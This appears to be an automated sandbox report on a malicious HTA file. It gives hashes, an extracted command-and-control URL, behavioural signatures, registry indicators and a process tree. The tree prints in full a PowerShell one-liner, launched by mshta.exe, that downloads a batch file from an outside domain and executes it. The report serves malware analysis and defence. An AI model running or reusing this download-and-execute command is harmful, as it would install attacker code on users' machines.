Analysis
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max time kernel
121s -
max time network
123s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
13/01/2025, 02:30
Static task
static1
Behavioral task
behavioral1
Sample
8da5bb4d9cfd29718720e839bb75ee58f92b6e41f0181b6eede4234d3122dab6.hta
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
8da5bb4d9cfd29718720e839bb75ee58f92b6e41f0181b6eede4234d3122dab6.hta
Resource
win10v2004-20241007-en
General
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Target
8da5bb4d9cfd29718720e839bb75ee58f92b6e41f0181b6eede4234d3122dab6.hta
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Size
1KB
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MD5
4fadf00aa57b7ca6bcb6b02cb338c0b2
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SHA1
ceb81e97c94c5655d1743114044f505184ddead2
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SHA256
8da5bb4d9cfd29718720e839bb75ee58f92b6e41f0181b6eede4234d3122dab6
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SHA512
99f25e03da69b6afded6be3b07bf7bdd90a2e7a08663cf4b9183674e4c0cdf6ad61c400b212341d84b3f82fa2ee1ccf9e1362d7f8b21460b6bc6a6612c897c2c
Malware Config
Extracted
https://candwfarmsllc.com/c2.bat
Signatures
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pid Process 916 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mshta.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Main mshta.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 916 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 916 powershell.exe -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 2396 wrote to memory of 916 2396 mshta.exe 30 PID 2396 wrote to memory of 916 2396 mshta.exe 30 PID 2396 wrote to memory of 916 2396 mshta.exe 30 PID 2396 wrote to memory of 916 2396 mshta.exe 30
Processes
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C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\8da5bb4d9cfd29718720e839bb75ee58f92b6e41f0181b6eede4234d3122dab6.hta"1⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2396 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;$u='https://candwfarmsllc.com/c2.bat';$o=$env:TEMP + '\c2.bat';Invoke-WebRequest -Uri $u -OutFile $o;Start-Process -FilePath $o -NoNewWindow"2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:916
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